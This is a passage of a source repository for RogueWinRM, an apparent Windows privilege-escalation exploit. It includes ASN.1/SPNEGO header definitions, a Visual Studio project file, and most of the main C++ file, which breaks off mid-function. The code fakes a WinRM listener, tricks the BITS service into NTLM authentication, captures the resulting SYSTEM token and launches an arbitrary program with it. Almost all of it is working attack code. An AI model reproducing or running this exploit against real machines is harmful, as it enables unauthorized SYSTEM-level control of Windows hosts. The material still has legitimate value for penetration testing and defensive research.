39 |
40 | /* Encoding type */
41 |
42 | #define FORM_MASK 0x20 /* Bit 6 */
43 | #define PRIMITIVE 0x00 /* 0 = primitive */
44 | #define CONSTRUCTED 0x20 /* 1 = constructed */
45 |
46 | /* Universal tags */
47 |
48 | #define TAG_MASK 0x1F /* Bits 5 - 1 */
49 | #define BOOLEAN 0x01 /* 1: TRUE or FALSE */
50 | #define INTEGER 0x02 /* 2: Arbitrary precision integer */
51 | #define BITSTRING 0x03 /* 2: Sequence of bits */
52 | #define OCTETSTRING 0x04 /* 4: Sequence of bytes */
53 | #define NULLTAG 0x05 /* 5: NULL */
54 | #define OID 0x06 /* 6: Object Identifier (numeric sequence) */
55 | #define OBJDESCRIPTOR 0x07 /* 7: Object Descriptor (human readable) */
56 | #define EXTERNAL 0x08 /* 8: External / Instance Of */
57 | #define REAL 0x09 /* 9: Real (Mantissa * Base^Exponent) */
58 | #define ENUMERATED 0x0A /* 10: Enumerated */
59 | #define EMBEDDED_PDV 0x0B /* 11: Embedded Presentation Data Value */
60 | #define SEQUENCE 0x10 /* 16: Constructed Sequence / Sequence Of */
61 | #define SET 0x11 /* 17: Constructed Set / Set Of */
62 | #define NUMERICSTR 0x12 /* 18: Numeric String (digits only) */
63 | #define PRINTABLESTR 0x13 /* 19: Printable String */
64 | #define T61STR 0x14 /* 20: T61 String (Teletex) */
65 | #define VIDEOTEXSTR 0x15 /* 21: Videotex String */
66 | #define IA5STR 0x16 /* 22: IA5 String */
67 | #define UTCTIME 0x17 /* 23: UTC Time */
68 | #define GENERALIZEDTIME 0x18 /* 24: Generalized Time */
69 | #define GRAPHICSTR 0x19 /* 25: Graphic String */
70 | #define VISIBLESTR 0x1A /* 26: Visible String (ISO 646) */
71 | #define GENERALSTR 0x1B /* 27: General String */
72 | #define UNIVERSALSTR 0x1C /* 28: Universal String */
73 | #define BMPSTR 0x1E /* 30: Basic Multilingual Plane String */
74 |
75 | /* Length encoding */
76 |
77 | #define LEN_XTND 0x80 /* Indefinite or long form */
78 | #define LEN_MASK 0x7f /* Bits 7 - 1 */
79 |
80 | #define SEQ_ELM(n) (IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | ((n)&TAG_MASK))
81 |
82 | //
83 | // SPNEGO Token Parsing Constants
84 | //
85 |
86 |
87 | // Fixed Length of NegTokenInit ReqFlags field
88 | #define SPNEGO_NEGINIT_MAXLEN_REQFLAGS 2
89 |
90 | // Difference in bits for ReqFlags token
91 | #define SPNEGO_NEGINIT_REQFLAGS_BITDIFF 1
92 |
93 | // Fixed Length of NegTokenTarg NegResult field
94 | #define SPNEGO_NEGTARG_MAXLEN_NEGRESULT 1
95 |
96 | // Application Specific Construct - Always at the start of a NegTokenInit
97 | #define SPNEGO_NEGINIT_APP_CONSTRUCT ( IDENTIFIER_APPLICATION | CONSTRUCTED ) // 0x60
98 |
99 | // Constructed Sequence token - after the actual token identifier token
100 | #define SPNEGO_CONSTRUCTED_SEQUENCE ( SEQUENCE | CONSTRUCTED )
101 |
102 | // MechList Type Identifier
103 | #define SPNEGO_MECHLIST_TYPE ( SEQUENCE | CONSTRUCTED | OID )
104 |
105 | //
106 | // NegTokenInit - Token Identifier and Elements
107 | //
108 |
109 | // NegTokenInit - 0xa0
110 | #define SPNEGO_NEGINIT_TOKEN_IDENTIFIER ( IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | \
111 | SPNEGO_TOKEN_INIT )
112 |
113 | // Structure elements for NegTokenInit
114 | #define SPNEGO_NEGINIT_MECHTYPES 0x0 // MechTypes is element 0
115 | #define SPNEGO_NEGINIT_REQFLAGS 0x1 // ReqFlags is element 1
116 | #define SPNEGO_NEGINIT_MECHTOKEN 0x2 // MechToken is element 2
117 | #define SPNEGO_NEGINIT_MECHLISTMIC 0x3 // MechListMIC is element 3
118 |
119 | // MechTypes element is 0xa0
120 | #define SPNEGO_NEGINIT_ELEMENT_MECHTYPES SEQ_ELM(SPNEGO_NEGINIT_MECHTYPES)
121 | // ReqFlags element is 0xa1
122 | #define SPNEGO_NEGINIT_ELEMENT_REQFLAGS SEQ_ELM(SPNEGO_NEGINIT_REQFLAGS)
123 | // MechToken element is 0xa2
124 | #define SPNEGO_NEGINIT_ELEMENT_MECHTOKEN SEQ_ELM(SPNEGO_NEGINIT_MECHTOKEN)
125 | // MechListMIC element is 0xa3
126 | #define SPNEGO_NEGINIT_ELEMENT_MECHLISTMIC SEQ_ELM(SPNEGO_NEGINIT_MECHLISTMIC)
127 |
128 | //
129 | // NegTokenTarg - Token Identifier and Elements
130 | //
131 |
132 | // NegTokenTarg - 0xa1
133 | #define SPNEGO_NEGTARG_TOKEN_IDENTIFIER ( IDENTIFIER_CONTEXT_SPECIFIC | CONSTRUCTED | \
134 | SPNEGO_TOKEN_TARG )
135 |
136 | // Structure elements for NegTokenTarg
137 | #define SPNEGO_NEGTARG_NEGRESULT 0x0 // NegResult is element 0
138 | #define SPNEGO_NEGTARG_SUPPORTEDMECH 0x1 // SupportedMech is element 1
139 | #define SPNEGO_NEGTARG_RESPONSETOKEN 0x2 // ResponseToken is element 2
140 | #define SPNEGO_NEGTARG_MECHLISTMIC 0x3 // MechListMIC is element 3
141 |
142 | // NegResult element is 0xa0
143 | #define SPNEGO_NEGTARG_ELEMENT_NEGRESULT SEQ_ELM(SPNEGO_NEGTARG_NEGRESULT)
144 | // SupportedMech element is 0xa1
145 | #define SPNEGO_NEGTARG_ELEMENT_SUPPORTEDMECH SEQ_ELM(SPNEGO_NEGTARG_SUPPORTEDMECH)
146 | // ResponseToken element is 0xa2
147 | #define SPNEGO_NEGTARG_ELEMENT_RESPONSETOKEN SEQ_ELM(SPNEGO_NEGTARG_RESPONSETOKEN)
148 | // MechListMIC element is 0xa3
149 | #define SPNEGO_NEGTARG_ELEMENT_MECHLISTMIC SEQ_ELM(SPNEGO_NEGTARG_MECHLISTMIC)
150 |
151 | //
152 | // Defines a GSS Mechanism OID. We keep a single static array
153 | // of these which we'll use for validation/searches/parsing.
154 | //
155 |
156 | typedef struct _mechOID
157 | {
158 | unsigned char* ucOid; // Byte representation of OID
159 | int iLen; // Length of the OID, length and identifier
160 | int iActualDataLen; // Length of the actual OID
161 | SPNEGO_MECH_OID eMechanismOID; // Which OID is this?
162 | } MECH_OID;
163 |
164 |
165 | //
166 | // ASN Der functions
167 | //
168 |
169 | int ASNDerGetLength(unsigned char* pbLengthData, long nBoundaryLength, long* pnLength,
170 | long* pnNumLengthBytes);
171 | int ASNDerCheckToken(unsigned char* pbTokenData, unsigned char nToken,
172 | long nCheckLength, long nBoundaryLength, long* pnLength,
173 | long* pnTokenLength);
174 | int ASNDerCheckOID(unsigned char* pbTokenData, SPNEGO_MECH_OID nMechOID, long nBoundaryLength,
175 | long* pnTokenLength);
176 | int ASNDerCalcNumLengthBytes(long nLength);
177 | long ASNDerCalcTokenLength(long nLength, long nDataLength);
178 | long ASNDerCalcElementLength(long nDataLength, long* pnInternalLength);
179 | long ASNDerCalcMechListLength(SPNEGO_MECH_OID mechoid, long* pnInternalLength);
180 | int ASNDerWriteLength(unsigned char* pbData, long nLength);
181 | int ASNDerWriteToken(unsigned char* pbData, unsigned char ucType,
182 | unsigned char* pbTokenValue, long nLength);
183 | int ASNDerWriteOID(unsigned char* pbData, SPNEGO_MECH_OID eMechOID);
184 | long ASNDerWriteMechList(unsigned char* pbData, SPNEGO_MECH_OID mechoid);
185 | int ASNDerWriteElement(unsigned char* pbData, unsigned char ucElementSequence,
186 | unsigned char ucType, unsigned char* pbTokenValue, long nLength);
187 |
188 |
189 | // C++ Specific
190 | #if defined(__cplusplus)
191 | }
192 | #endif
193 |
194 | #endif
195 |
--------------------------------------------------------------------------------
/RogueWinRM.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {B03A3AF9-9448-43FE-8CEE-5A2C43BFAC86}
24 | Win32Proj
25 | RoguePotato
26 | 10.0.18362.0
27 | RogueWinRM
28 |
29 |
30 |
31 | Application
32 | true
33 | v142
34 | Unicode
35 |
36 |
37 | Application
38 | false
39 | v142
40 | true
41 | Unicode
42 |
43 |
44 | Application
45 | true
46 | v142
47 | Unicode
48 |
49 |
50 | Application
51 | false
52 | v142
53 | true
54 | Unicode
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | true
76 |
77 |
78 | true
79 |
80 |
81 | false
82 |
83 |
84 | false
85 |
86 |
87 |
88 |
89 |
90 | Level3
91 | Disabled
92 | true
93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
94 | true
95 |
96 |
97 | Console
98 | true
99 |
100 |
101 |
102 |
103 |
104 |
105 | Level3
106 | Disabled
107 | true
108 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
109 | true
110 |
111 |
112 | Console
113 | true
114 |
115 |
116 |
117 |
118 |
119 |
120 | Level3
121 | MaxSpeed
122 | true
123 | true
124 | true
125 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
126 | true
127 | MultiThreaded
128 |
129 |
130 | Console
131 | true
132 | true
133 | true
134 |
135 |
136 |
137 |
138 |
139 |
140 | Level3
141 | MaxSpeed
142 | true
143 | true
144 | true
145 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
146 | true
147 | MultiThreaded
148 |
149 |
150 | Console
151 | true
152 | true
153 | true
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
--------------------------------------------------------------------------------
/RogueWinRM.cpp:
--------------------------------------------------------------------------------
1 | #define WIN32_LEAN_AND_MEAN
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include "LocalNegotiator.h"
11 | #include "base64.h"
12 | #include "spnegotokenhandler/spnego.h"
13 |
14 | #pragma comment (lib, "Ws2_32.lib")
15 | #pragma warning(disable : 4996) //_CRT_SECURE_NO_WARNINGS
16 |
17 | struct THREAD_PARAMETERS
18 | {
19 | wchar_t* listen_port;
20 | LocalNegotiator* negotiator;
21 | bool debug;
22 | };
23 |
24 | typedef unsigned char byte;
25 | int RunRogueWinRM(wchar_t* processname, wchar_t* listen_port, wchar_t* processargs, bool debug);
26 | void hexDump2(char* desc, void* addr, int len);
27 | int findBase64Negotiate(char* buffer, int buffer_len, byte* outbuffer, int* outbuffer_len);
28 | bool parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned long* parsedTokenLen);
29 | bool genNegTokenTarg(unsigned char* ntlmssp, int ntlmssp_len, unsigned char** generatedToken, unsigned long* generatedTokenLen);
30 | int processNtlmBytes(char* bytes, int len, LocalNegotiator* negotiator);
31 | BOOL EnablePriv(HANDLE hToken, LPCTSTR priv);
32 | int IsTokenSystem(HANDLE tok);
33 | void SocketError(SOCKET);
34 | bool isBitsRunning(void);
35 | bool triggerBits(void);
36 | HANDLE startListenerThread(wchar_t* listen_port, LocalNegotiator* negotiator, bool debug);
37 | void startListener(LPVOID threadParameters);
38 |
39 | void usage()
40 | {
41 | printf("\nRogueWinRM \n\n");
42 |
43 | printf("Mandatory args: \n"
44 | "-p : program to launch\n"
45 | );
46 | printf("\nOptional args: \n"
47 | "-a : command line argument to pass to program (default NULL)\n"
48 | "-l : listening port (default 5985 WinRM)\n"
49 | "-d : Enable Debugging output\n"
50 | );
51 | }
52 |
53 | int wmain(int argc, wchar_t** argv)
54 | {
55 | wchar_t* processargs = NULL;
56 | wchar_t* processname = NULL;
57 | wchar_t* listen_port = NULL;
58 | wchar_t default_listen_port[] = L"5985";
59 | bool debug = false;
60 | while ((argc > 1) && (argv[1][0] == '-'))
61 | {
62 | switch (argv[1][1])
63 | {
64 | case 'p':
65 | ++argv;
66 | --argc;
67 | processname = argv[1];
68 | break;
69 | case 'a':
70 | ++argv;
71 | --argc;
72 | processargs = argv[1];
73 | break;
74 | case 'l':
75 | ++argv;
76 | --argc;
77 | listen_port = argv[1];
78 | break;
79 | case 'd':
80 | ++argv;
81 | --argc;
82 | debug = true;
83 | break;
84 | default:
85 | printf("Wrong Argument: %s\n", argv[1]);
86 | usage();
87 | exit(-1);
88 | }
89 | ++argv;
90 | --argc;
91 | }
92 | if (processname == NULL) {
93 | usage();
94 | exit(-1);
95 | }
96 |
97 | // Default WinRM port
98 | if (listen_port == NULL)
99 | listen_port = default_listen_port;
100 |
101 | exit(RunRogueWinRM(processname, listen_port, processargs, debug));
102 | return 0;
103 | }
104 |
105 | int RunRogueWinRM(wchar_t* processname, wchar_t* listen_port, wchar_t *processargs, bool debug) {
106 | LocalNegotiator* negotiator = new LocalNegotiator();
107 | bool bitsRunning = true;
108 | bool triggerBitsStatus = false;
109 | HANDLE hThread = startListenerThread(listen_port, negotiator, debug);
110 | Sleep(1000);
111 | do {
112 | bitsRunning = isBitsRunning();
113 | if (bitsRunning)
114 | Sleep(30000);
115 | } while (bitsRunning);
116 | triggerBitsStatus = triggerBits();
117 | if (!triggerBitsStatus) {
118 | printf("\nCannot activate BITS object. Exiting...\n");
119 | exit(-1);
120 | }
121 | else
122 | printf("\nBITS triggered!\n");
123 |
124 | BOOL result = false;
125 | int ret = 0;
126 | HANDLE elevated_token, duped_token;
127 |
128 | if (negotiator->authResult != -1)
129 | {
130 | HANDLE hToken;
131 | TOKEN_PRIVILEGES tkp;
132 | SECURITY_DESCRIPTOR sdSecurityDescriptor;
133 | printf("\n[+] authresult %d\n", negotiator->authResult);
134 |
135 | fflush(stdout);
136 |
137 | // Get a token for this process.
138 | if (!OpenProcessToken(GetCurrentProcess(),
139 | TOKEN_ALL_ACCESS, &hToken))return 0;
140 |
141 | //enable privileges
142 | EnablePriv(hToken, SE_IMPERSONATE_NAME);
143 | EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
144 | PTOKEN_TYPE ptg;
145 | DWORD dwl = 0;
146 | HANDLE hProcessToken;
147 | OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
148 | &hProcessToken);
149 |
150 | QuerySecurityContextToken(negotiator->phContext, &elevated_token);
151 | IsTokenSystem(elevated_token);
152 |
153 | GetTokenInformation(elevated_token, TokenType, &ptg, sizeof(TOKEN_TYPE), &dwl);
154 | if (!dwl)
155 | printf("[-] Error getting token type: error code 0x%lx\n", GetLastError());
156 |
157 | result = DuplicateTokenEx(elevated_token,
158 | TOKEN_ALL_ACCESS,
159 | NULL,
160 | SecurityImpersonation,
161 | TokenPrimary,
162 | &duped_token);
163 |
164 |
165 | GetTokenInformation(duped_token, TokenType, &ptg, sizeof(TOKEN_TYPE), &dwl);
166 | if (!dwl)
167 | printf("Error getting token type: error code 0x%lx\n", GetLastError());
168 |
169 | DWORD SessionId;
170 | PROCESS_INFORMATION pi;
171 | STARTUPINFO si;
172 | SECURITY_ATTRIBUTES sa;
173 |
174 | ZeroMemory(&si, sizeof(STARTUPINFO));
175 | ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
176 | memset(&pi, 0x00, sizeof(PROCESS_INFORMATION));
177 | si.cb = sizeof(STARTUPINFO);
178 | si.lpDesktop = (LPWSTR)L"winsta0\\default";
179 |
180 | DWORD sessionId = WTSGetActiveConsoleSessionId();
181 |
182 | fflush(stdout);
183 | wchar_t command[256];
184 | wcscpy(command, processname);
185 |
186 | if (processargs != NULL)
187 | {
188 | wcsncat(command, L" ", 1);
189 | wcsncat(command, processargs, wcslen(processargs));
190 | }
191 |
192 | //could be also the elevated_token
193 | result = CreateProcessWithTokenW(duped_token,
194 | 0,
195 | processname,
196 | command,
197 | 0,
198 | NULL,
199 | NULL,
200 | &si,
201 | &pi);
202 |
203 | if (!result)
204 | {
205 | printf("\n[-] CreateProcessWithTokenW Failed to create proc: %d\n", GetLastError());
206 | }
207 | else
208 | {
209 | printf("\n[+] CreateProcessWithTokenW OK\n");
210 | return 0;
211 | }
212 |
213 |
214 | result = CreateProcessAsUserW(
215 | duped_token,
216 | processname,
217 | command,
218 | nullptr, nullptr,
219 | FALSE, 0, nullptr,
220 | L"C:\\", &si, &pi
221 | );
222 |
223 | if (!result) {
224 | printf("\n[-] CreateProcessAsUser Failed to create proc: %d\n", GetLastError());
225 | return -1;
226 | }
227 | else {
228 | printf("\n[+] CreateProcessAsUser OK\n");
229 | }
230 |
231 | }
232 | else
233 | printf("\nError: No Authenticaton received... negotiator->authResult != -1\n");
234 | CloseHandle(hThread);
235 | return 0;
236 | }
237 |
238 | void SocketError(SOCKET Socket) {
239 | printf("\nSocket error.. WSAGetLastError: %d\n", WSAGetLastError());
240 | shutdown(Socket, SD_SEND);
241 | WSACleanup();
242 | exit(-1);
243 | }
244 |
245 | void startListener(LPVOID threadParameters) {
246 | THREAD_PARAMETERS* thread_params = (THREAD_PARAMETERS*)threadParameters;
247 | wchar_t* listen_port = thread_params->listen_port;
248 | LocalNegotiator* negotiator = thread_params->negotiator;
249 | bool debug = thread_params->debug;
250 | WSADATA wsaData;
251 | int iResult;
252 | char listen_port_a[12];
253 | const int DEFAULT_BUFLEN = 4096;
254 |
255 | SOCKET ListenSocket = INVALID_SOCKET;
256 | SOCKET ClientSocket = INVALID_SOCKET;
257 |
258 | struct addrinfo* result = NULL;
259 | struct addrinfo hints;
260 |
261 | int iSendResult;
262 | char recvbuf[DEFAULT_BUFLEN];
263 | int recvbuflen = DEFAULT_BUFLEN;
264 |
265 | // Initialize Winsock
266 | iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
267 | if (iResult != 0) {
268 | printf("WSAStartup failed with error: %d\n", iResult);
269 | exit(-1);
270 | }
271 |
272 | ZeroMemory(&hints, sizeof(hints));
273 | hints.ai_family = AF_INET;
274 | hints.ai_socktype = SOCK_STREAM;
275 | hints.ai_protocol = IPPROTO_TCP;
276 | hints.ai_flags = AI_PASSIVE;
277 |
278 | memset(listen_port_a, 0, 12);
279 | wcstombs(listen_port_a, listen_port, 12);
280 |
281 | // Resolve the server address and port
282 | iResult = getaddrinfo(NULL, listen_port_a, &hints, &result);
283 | if (iResult != 0) {
284 | printf("getaddrinfo failed with error: %d\n", iResult);
285 | WSACleanup();
286 | exit(-1);
287 | }
288 |
289 | // Create a SOCKET for connecting to server
290 | ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
291 | if (ListenSocket == INVALID_SOCKET) {
292 | printf("socket failed with error: %ld\n", WSAGetLastError());
293 | freeaddrinfo(result);
294 | WSACleanup();
295 | exit(-1);
296 | }
297 |
298 | // Setup the TCP listening socket
299 | iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
300 | if (iResult == SOCKET_ERROR) {
301 | if (wcscmp(listen_port, L"5985") == 0) {
302 | printf("Error: WinRM already running on port 5985. Unexploitable!\n");
303 | }
304 | printf("bind failed with error: %d\n", WSAGetLastError());
305 | freeaddrinfo(result);
306 | closesocket(ListenSocket);
307 | WSACleanup();
308 | exit(-1);
309 | }
310 |
311 | freeaddrinfo(result);
312 |
313 | iResult = listen(ListenSocket, SOMAXCONN);
314 | if (iResult == SOCKET_ERROR) {
315 | printf("listen failed with error: %d\n", WSAGetLastError());
316 | closesocket(ListenSocket);
317 | WSACleanup();
318 | exit(-1);
319 | }
320 |
321 | // Accept a client socket
322 | ClientSocket = accept(ListenSocket, NULL, NULL);
323 | if (ClientSocket == INVALID_SOCKET) {
324 | printf("accept failed with error: %d\n", WSAGetLastError());
325 | closesocket(ListenSocket);
326 | WSACleanup();
327 | exit(-1);
328 | }
329 |
330 | // No longer need server socket
331 | closesocket(ListenSocket);
332 |
333 | //variables for handling ntlm authentication over http
334 | byte base64_spnego_token[4192];
335 | int base64spnego_token_len = 0;
336 | bool spnegoResult = false;
337 | unsigned char* spnego_NegTokenInit_request;
338 | size_t spnego_NegTokenInit_request_len = 0;
339 | unsigned char* ntlmssp_request = NULL;
340 | size_t ntlmssp_request_len = 0;
341 | char* ntlmssp_type2;
342 | size_t ntlmssp_type2_b64_len = 0;
343 | char* ntlmssp_type2_b64;
344 | unsigned long ntlmssp_type2_len = 0;
345 | byte base64_ntlmssp_authorization[4192];
346 | int base64_ntlmssp_authorization_len;
347 | unsigned char* spnego_NegTokenTarg_response;
348 | size_t spnego_NegTokenTarg_response_len = 0;
349 | unsigned char* ntlmssp_authorization;
350 | size_t ntlmssp_authorization_len = 0;
351 | char* ntlmssp_type2_full;
352 | int ntlmssp_type2_full_len;
353 | char http_response_type2_head[] = "HTTP/1.1 401 \r\nWWW-Authenticate: Negotiate ";
354 | char http_response_type2_tail[] = "\r\nServer: Microsoft-HTTPAPI/2.0\r\nContent-Length: 0\r\n\r\n";
355 | char* http_response_type2_packet;
356 | int http_response_type2_packet_len;
357 |
358 | iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
359 | if (iResult <= 0) SocketError(ClientSocket);
360 | printf("\nReceived http negotiate request\n");
361 | if (debug) {
362 | printf("\nHexdump of received packet:\n");
363 | hexDump2(NULL, recvbuf, iResult);
364 | }
365 | //parsing the base64 of SPNEGO request
366 | findBase64Negotiate(recvbuf, iResult, base64_spnego_token, &base64spnego_token_len);
367 | //decoding the base64 of SPNEGO NegTokenInit
368 | spnego_NegTokenInit_request = base64_decode((const char*)base64_spnego_token, base64spnego_token_len, &spnego_NegTokenInit_request_len);
369 | //parsing the ntlmssp from the SPNEGO NegTokenInit token
370 | spnegoResult = parseNegToken(spnego_NegTokenInit_request, spnego_NegTokenInit_request_len, &ntlmssp_request, (unsigned long*)&ntlmssp_request_len);
371 | if (!spnegoResult) {
372 | shutdown(ClientSocket, SD_SEND);
373 | WSACleanup();
374 | exit(-1);
375 | }
376 | //calling AcceptSecurityContext() on the challenge request
377 | processNtlmBytes((char*)ntlmssp_request, ntlmssp_request_len, negotiator);
378 | ntlmssp_type2 = negotiator->returnType2(&ntlmssp_type2_len);
379 | //forging ntlmssp challenge response
380 | spnegoResult = genNegTokenTarg((unsigned char *)ntlmssp_type2, ntlmssp_type2_len, (unsigned char **)&ntlmssp_type2_full, (unsigned long*)&ntlmssp_type2_full_len);
381 | if (!spnegoResult) {
382 | shutdown(ClientSocket, SD_SEND);
383 | WSACleanup();
384 | exit(-1);
385 | }
386 | //encoding ntlmssp challenge response
387 | ntlmssp_type2_b64 = base64_encode((const unsigned char*)ntlmssp_type2_full, (size_t)ntlmssp_type2_full_len, &ntlmssp_type2_b64_len);
388 | //forging http response packet 401 with type 2 ntlm chellenge response
389 | http_response_type2_packet_len = sizeof(http_response_type2_head) + ntlmssp_type2_b64_len + sizeof(http_response_type2_tail);
390 | http_response_type2_packet = (char*)malloc(http_response_type2_packet_len);
391 | memcpy(http_response_type2_packet, http_response_type2_head, sizeof(http_response_type2_head));
392 | memcpy((http_response_type2_packet + sizeof(http_response_type2_head) - 1), ntlmssp_type2_b64, ntlmssp_type2_b64_len);
393 | memcpy((http_response_type2_packet + sizeof(http_response_type2_head) + ntlmssp_type2_b64_len - 1), http_response_type2_tail, sizeof(http_response_type2_tail));
394 | if (debug) {
395 | printf("\nHexdump of http_response_type2_packet:\n");
396 | hexDump2(NULL, http_response_type2_packet, http_response_type2_packet_len);
397 | }
398 | printf("\nSending the 401 http response with ntlm type 2 challenge\n");
399 | iResult = send(ClientSocket, http_response_type2_packet, http_response_type2_packet_len - 2, 0);
400 | if (iResult <= 0) SocketError(ClientSocket);
401 | iResult = recv(ClientSocket, recvbuf, 4096, 0);
402 | if (iResult <= 0) SocketError(ClientSocket);
403 | printf("\nReceived http packet with ntlm type3 response\n");
404 | if (debug) {
405 | printf("\nHexdump of received packet http_request_type3_packet:\n");
406 | hexDump2(NULL, recvbuf, iResult);
407 | }
408 | printf("\nUsing ntlm type3 response in AcceptSecurityContext()\n");
409 | findBase64Negotiate(recvbuf, iResult, base64_ntlmssp_authorization, &base64_ntlmssp_authorization_len);
410 | spnego_NegTokenTarg_response = base64_decode((const char*)base64_ntlmssp_authorization, base64_ntlmssp_authorization_len, &spnego_NegTokenTarg_response_len);
411 | spnegoResult = parseNegToken(spnego_NegTokenTarg_response, spnego_NegTokenTarg_response_len, &ntlmssp_authorization, (unsigned long*)&ntlmssp_authorization_len);
412 | processNtlmBytes((char*)ntlmssp_authorization, ntlmssp_authorization_len, negotiator);
413 | shutdown(ClientSocket, SD_SEND);
414 | WSACleanup();
415 | }
416 |
417 | void hexDump2(char* desc, void* addr, int len) {
418 | int i;
419 | unsigned char buff[17];
420 | unsigned char* pc = (unsigned char*)addr;
421 |
422 | // Output description if given.
423 | if (desc != NULL)
424 | printf("%s:\n", desc);
425 |
426 | if (len == 0) {
427 | printf(" ZERO LENGTH\n");
428 | return;
429 | }
430 | if (len < 0) {
431 | printf(" NEGATIVE LENGTH: %i\n", len);
432 | return;
433 | }
434 |
435 | // Process every byte in the data.
436 | for (i = 0; i < len; i++) {
437 | // Multiple of 16 means new line (with line offset).
438 |
439 | if ((i % 16) == 0) {
440 | // Just don't print ASCII for the zeroth line.
441 | if (i != 0)
442 | printf(" %s\n", buff);
443 |
444 | // Output the offset.
445 | printf(" %04x ", i);
446 | }
447 |
448 | // Now the hex code for the specific character.
449 | printf(" %02x", pc[i]);
450 |
451 | // And store a printable ASCII character for later.
452 | if ((pc[i] < 0x20) || (pc[i] > 0x7e))
453 | buff[i % 16] = '.';
454 | else
455 | buff[i % 16] = pc[i];
456 | buff[(i % 16) + 1] = '\0';
457 | }
458 |
459 | // Pad out last line if not exactly 16 characters.
460 | while ((i % 16) != 0) {
461 | printf(" ");
462 | i++;
463 | }
464 |
465 | // And print the final ASCII bit.
466 | printf(" %s\n", buff);
467 | }
468 |
469 |
470 | int findBase64Negotiate(char* buffer, int buffer_len, byte* outbuffer, int* outbuffer_len) {
471 | char pattern_head[10] = { 'N', 'e', 'g', 'o', 't', 'i', 'a', 't', 'e', ' ' };
472 | char pattern_tail[2] = { 0x0D, 0x0A }; // \r\n
473 | int index_start = 0;
474 | for (int i = 0; i < buffer_len; i++) {
475 | }
476 | for (int i = 0; i < buffer_len; i++) {
477 | if (buffer[i] == pattern_head[index_start]) {
478 | index_start = index_start + 1;
479 | if (index_start == sizeof(pattern_head)) {
480 | index_start = i + 1;
481 | break;
482 | }
483 | }
484 | }
485 | *outbuffer_len = 0;
486 | for (int i = index_start; i < buffer_len; i++) {
487 | if (buffer[i] == pattern_tail[0] && buffer[i + 1] == pattern_tail[1]) {
488 | break;
489 | }
490 | outbuffer[(*outbuffer_len)] = buffer[i];
491 | *outbuffer_len = (*outbuffer_len) + 1;
492 | }
493 | //printf("*outbuffer_len: %d and index_start: %d", *outbuffer_len,index_start);
494 | //hexDump2(NULL, outbuffer, *outbuffer_len);
495 | return 0;
496 | }
497 |
498 | int processNtlmBytes(char* bytes, int len, LocalNegotiator* negotiator) {
499 | int messageType = bytes[8];
500 | switch (messageType) {
501 | case 1:
502 | //NTLM type 1 message
503 | negotiator->handleType1(bytes, len);
504 | break;
505 | case 3:
506 | //NTLM type 3 message
507 | negotiator->handleType3(bytes, len);
508 | break;
509 | default:
510 | printf("Error - Unknown NTLM message type...");
511 | return -1;
512 | break;
513 | }
514 | return 0;
515 | }
516 |
517 | bool parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned long *parsedTokenLen) {
518 | SPNEGO_TOKEN_HANDLE hSpnegoToken = NULL;
519 | int nError = 0L;
520 | unsigned char* pbMechToken = NULL;
521 |
522 | if (spnegoInitFromBinary(token, tokenSize, &hSpnegoToken) != SPNEGO_E_SUCCESS){
523 | printf("\nCannot parse SPNEGO NegTokenInit token\n");
524 | return false;
525 | }
526 |
527 | nError = spnegoGetMechToken(hSpnegoToken, NULL, parsedTokenLen);
528 | if (SPNEGO_E_BUFFER_TOO_SMALL == nError)
529 | {
530 |
531 | // Allocate a properly sized buffer and retry.
532 | pbMechToken = (unsigned char*)malloc(*parsedTokenLen);
533 |
534 | if (spnegoGetMechToken(hSpnegoToken, pbMechToken, parsedTokenLen)!= SPNEGO_E_SUCCESS)
535 | {
536 | printf("\nCannot get MechToken content from SPNEGO NegTokenInit token\n");
537 | return false;
538 | }
539 | }
540 | *parsedToken = pbMechToken;
541 | return true;
542 | }
543 |
544 | bool genNegTokenTarg(unsigned char* ntlmssp, int ntlmssp_len, unsigned char** generatedToken, unsigned long* generatedTokenLen) {
545 | unsigned char* pbRespToken = NULL;
546 | unsigned long ulRespTokenLen = 0L;
547 | int nError = 0L;
548 | SPNEGO_TOKEN_HANDLE hSpnegoResponseToken = NULL;
549 | SPNEGO_MECH_OID spnegoMechOID = spnego_mech_oid_NTLMSSP;
550 | SPNEGO_NEGRESULT spnegoNegResult = spnego_negresult_incomplete;
551 |
552 | // Create the Token and then extract the binary.
553 | if (spnegoCreateNegTokenTarg(spnegoMechOID, spnegoNegResult, ntlmssp, ntlmssp_len, NULL, 0L, &hSpnegoResponseToken) != SPNEGO_E_SUCCESS)
554 | {
555 | printf("\nCannot create SPNEGO NegTokenTarg token\n");
556 | return false;
557 | }
558 | if (spnegoTokenGetBinary(hSpnegoResponseToken, NULL, generatedTokenLen)== SPNEGO_E_BUFFER_TOO_SMALL)
559 | {
560 | // Now allocate and extract the buffer.
561 | *generatedToken = (unsigned char*)malloc(*generatedTokenLen);
562 | nError = spnegoTokenGetBinary(hSpnegoResponseToken, *generatedToken, generatedTokenLen);
563 | if (SPNEGO_E_SUCCESS == nError)
564 | {
565 | return true;
566 | }
567 | else
568 | {
